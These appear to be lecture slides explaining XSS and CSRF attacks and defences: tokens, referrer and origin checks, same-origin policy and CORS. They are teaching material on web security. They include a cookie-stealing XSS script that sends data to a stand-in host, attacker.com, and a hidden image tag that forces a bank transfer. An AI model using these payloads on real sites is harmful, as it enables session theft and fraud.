CSRF, revisited

Daniel Jackson
cross site scripting (XSS)

A Fictional Example
on Facebook, attacker posts this on wall:

```html
<script>
window.location = 'http://attacker.com/steal?cookie = ' + document.cookie
</script>
```

now, when other user displays Facebook page...
› script sends her cookies to attacker
› could get server-side private data too!

**this is “persistent XSS”**
› simpler form: pass URL with query that puts script in page
cross site request forgery (CSRF)

A Fictional Example
on attacker’s site, include hidden call to bank:

```html
<img src="http://mybank.com/transferFunds?amount=1000&destination=attackersAcct" width="0" height="0" />
```

now, when other user loads attacker’s page...
› hidden call transfers her money to the attacker
› can use all her credentials (session, cookies)

combine with XSS
› attacker can place call on a trusted site
infamous CSRF attacks

Gmail
› get contact list (Jan 2007)
› add mail filters (Sept 2007)

Netflix
› change name & delivery address (2007)
› modify movie queue (2009)

http://ajaxian.com/archives/gmail-csrf-security-flaw
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
what’s going on?

XSS and CSRF are duals
› XSS: client confuses servers
› CSRF: server confuses clients

so it’s about authentication
› XSS: of server
› CSRF: of client
standard CSRF mitigations

challenge/response
› CAPTCHA, password reentry
› inconvenient for client

don’t stay logged in!

secret session token
› add it to all URLs (but token is leaked)
› put in hidden form field (then only POSTs)
› “double submit”: token in cookie and form

<form action="/transfer.do" method="post">
   <input type="hidden" name="CSRFToken" value="OWY4NmQwODQ2">
   ...
</form>

form generated with tokens, as by Rails’s protect_from_forgery
login CSRF

but what about login?
› no session yet, so no token!

scenario
› attacker logs you out of Google
› and back in using attacker’s credentials
› now attacker gets your search history!
mitigating login CSRF

referrer field
› request includes referrer URL (in referrer header)
› if request has referrer attacker.com, mybank.com rejects it

but sadly
› referrer doesn’t work (privacy, protocol holes)

request obtained by clicking on link in a vanity search
same origin policy

what is it?
› origin = (domain, protocol, port)
› suppose load page from P, make request to Q
› request is blocked if origins of P and Q do not match

JSONP: a workaround for mashups etc
› SOP allows GET of scripts from other domains (eg, JQuery CDN)
› to read cross-domain data, get a script of form `callback(data)`
› the callback is called “padding”

so what does SOP achieve?
› stops reading of personal data by a rogue site
› but doesn’t prevent POST, hence can’t stop CSRF
› also, API-specific (JavaScript, Flash, Acrobat), so loopholes
origin header proposal

idea: add a new origin header
› browser tracks origin of request, server checks it

address privacy issues of referrer
› only scheme, host, port: no query strings or full path
› missing header (old browser) ≠ null value (hidden)

cross-origin request sharing (CORS)
› browser will also block cross-origin requests, using SOP
› CORS lets server tell browser that some origins are OK